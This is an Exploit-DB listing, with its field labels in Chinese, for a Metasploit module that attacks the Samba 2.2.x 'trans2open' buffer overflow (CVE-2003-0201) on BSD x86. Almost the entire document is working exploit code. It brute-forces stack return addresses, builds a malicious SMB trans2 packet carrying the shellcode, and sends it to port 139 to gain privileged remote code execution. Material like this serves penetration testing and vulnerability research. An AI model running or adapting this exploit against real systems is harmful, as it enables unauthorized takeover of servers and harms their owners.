标题: Samba 2.2.8 (BSD x86) - 'trans2open' Remote Overflow (Metasploit) EDB-ID: 16880 CVE: 2003-0201 类型: REMOTE 平台: BSD_X86 发布日期: 2010-06-17 漏洞利用脚本: ##
# $Id: trans2open.rb 9552 2010-06-17 22:11:43Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GreatRanking

 include Msf::Exploit::Remote::SMB
 include Msf::Exploit::Brute

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Samba trans2open Overflow (*BSD x86)',
   'Description'    => %q{
     This exploits the buffer overflow found in Samba versions
    2.2.0 to 2.2.8. This particular module is capable of
    exploiting the flaw on x86 Linux systems that do not
    have the noexec stack option set.
   },
   'Author'         => [ 'hdm', 'jduck' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 9552 $',
   'References'     =>
    [
     [ 'CVE', '2003-0201' ],
     [ 'OSVDB', '4469' ],
     [ 'BID', '7294' ],
     [ 'URL', 'http://seclists.org/bugtraq/2003/Apr/103' ]
    ],
   'Privileged'     => true,
   'Payload'        =>
    {
     'Space'    => 1024,
     'BadChars' => "\x00",
     'MinNops'  => 512,
     'StackAdjustment' => -3500
    },
   'Platform'       => 'bsd',
   'Targets'        =>
    [
     # tested OK - jjd:
     # FreeBSD 5.0-RELEASE samba-2.2.7a.tbz md5:cc477378829309d9560b136ca11a89f8
     [ 'Samba 2.2.x - Bruteforce',
      {
       'PtrToNonZero' => 0xbfbffff4, # near the bottom of the stack
       'Offset'       => 1055,
       'Bruteforce'   =>
        {
         'Start' => { 'Ret' => 0xbfbffdfc },
         'Stop'  => { 'Ret' => 0xbfa00000 },
         'Step'  => 256
        }
      }
     ],
    ],
   'DefaultTarget'  => 0,
   'DisclosureDate' => 'Apr 7 2003'
   ))

  register_options(
   [
    Opt::RPORT(139)
   ], self.class)
 end

 def brute_exploit(addrs)

  curr_ret = addrs['Ret']
  begin
   print_status("Trying return address 0x%.8x..." %  curr_ret)

   connect
   smb_login

   # This value *must* be 1988 to allow findrecv shellcode to work
   # XXX: I'm not sure the above comment is true...
   pattern = rand_text_english(1988)

   # See the OSX and Solaris versions of this module for additional
   # information.

   # eip_off = 1071 - RH7.2 compiled with -ggdb instead of -O/-O2
   # (rpmbuild -bp ; edited/reran config.status ; make)
   eip_off = target['Offset']
   ptr_to_non_zero = target['PtrToNonZero']

   # Stuff the shellcode into the request
   pattern[0, payload.encoded.length] = payload.encoded

   # We want test true here, so we overwrite conn with a pointer
   # to something non-zero.
   #
   # 222       if (IS_IPC(conn)) {
   # 223          return(ERROR(ERRSRV,ERRaccess));
   # 224       }
   pattern[eip_off + 4, 4] = [ptr_to_non_zero - 0x30].pack('V')

   # We want to avoid crashing on the following two derefences.
   #
   # 116     int error_packet(char *inbuf,char *outbuf,int error_class,uint32 error_code,int line)
   # 117     {
   # 118       int outsize = set_message(outbuf,0,0,True);
   # 119       int cmd = CVAL(inbuf,smb_com);
   pattern[eip_off + 8, 4] = [ptr_to_non_zero - 0x08].pack('V')
   pattern[eip_off + 12, 4] = [ptr_to_non_zero - 0x24].pack('V')

   # This stream covers the framepointer and the return address
   #pattern[1199, 400] = [curr_ret].pack('N') * 100
   pattern[eip_off, 4] = [curr_ret].pack('V')

   trans =
    "\x00\x04\x08\x20\xff\x53\x4d\x42\x32\x00\x00\x00\x00\x00\x00\x00"+
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00"+
    "\x64\x00\x00\x00\x00\xd0\x07\x0c\x00\xd0\x07\x0c\x00\x00\x00\x00"+
    "\x00\x00\x00\x00\x00\x00\x00\xd0\x07\x43\x00\x0c\x00\x14\x08\x01"+
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x90"+
    pattern

   # puts "press any key"; $stdin.gets

   sock.put(trans)
   handler
   disconnect

  rescue EOFError
  rescue => e
   print_error("#{e}")
  end

 end

end URL: https://www.exploit-db.com/exploits/16880